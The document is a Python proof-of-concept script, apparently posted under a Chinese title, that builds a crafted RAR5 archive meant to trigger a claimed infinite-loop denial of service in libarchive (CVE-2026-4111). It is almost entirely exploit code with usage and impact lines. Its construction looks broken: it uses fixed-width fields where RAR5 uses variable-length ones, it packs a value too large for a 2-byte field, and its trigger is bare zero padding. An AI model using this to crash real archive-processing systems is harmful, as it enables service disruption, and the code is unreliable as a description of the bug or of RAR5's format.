CVE-2026-4111 libarchive RAR5解压无限循环拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2026-4111 PoC - libarchive RAR5 Decompression Infinite Loop This PoC generates a specially crafted RAR5 archive that triggers an infinite loop in libarchive's archive_read_data() function. Note: This is a proof-of-concept for educational purposes only. """ import struct import os def create_malformed_rar5(): """ Create a RAR5 archive with malformed compression data that triggers the infinite loop vulnerability in libarchive. """ # RAR5 signature rar5_signature = b'RAR\xfb\x27\x1a\x07\x00' # Archive header block header_type = 0x01 # Archive header header_flags = 0x0002 header_size = 0x3D header_crc = 0x00000000 # Placeholder # Archive info archive_info = struct.pack('<I', 5) # Version archive_info += struct.pack('<I', 0) # Volume number archive_info += struct.pack('<I', 0) # Timestamp # File header block file_header = b'\x02' # Header type: file header file_header += struct.pack('<H', 0x9000) # Flags (packed file) file_header += struct.pack('<I', 0x40) # Header size # File info file_info = struct.pack('<Q', 0) # unpacked size file_info += struct.pack('<I', 0x30) # attributes file_info += struct.pack('<I', 0) # timestamp # File name file_name = b'trigger.txt\x00' file_info += struct.pack('<B', len(file_name)) # name length file_info += file_name # Malformed compression data that triggers infinite loop # This exploits the vulnerability in decompression state machine malicious_data = b'\x00' * 1024 # Padding to trigger condition # Construct the malicious archive archive = rar5_signature archive += struct.pack('<I', header_crc) archive += struct.pack('<H', header_type | (header_flags << 16)) archive += struct.pack('<H', header_size) archive += archive_info archive += file_header archive += file_info archive += malicious_data return archive def main(): print("[*] Generating CVE-2026-4111 PoC RAR5 archive...") poc_data = create_malformed_rar5() output_file = "CVE-2026-4111-poc.rar" with open(output_file, 'wb') as f: f.write(poc_data) print(f"[+] PoC archive created: {output_file}") print(f"[+] File size: {len(poc_data)} bytes") print("\n[!] Usage: Process this file with vulnerable libarchive version") print("[!] Impact: CPU exhaustion due to infinite loop in decompression") if __name__ == "__main__": main()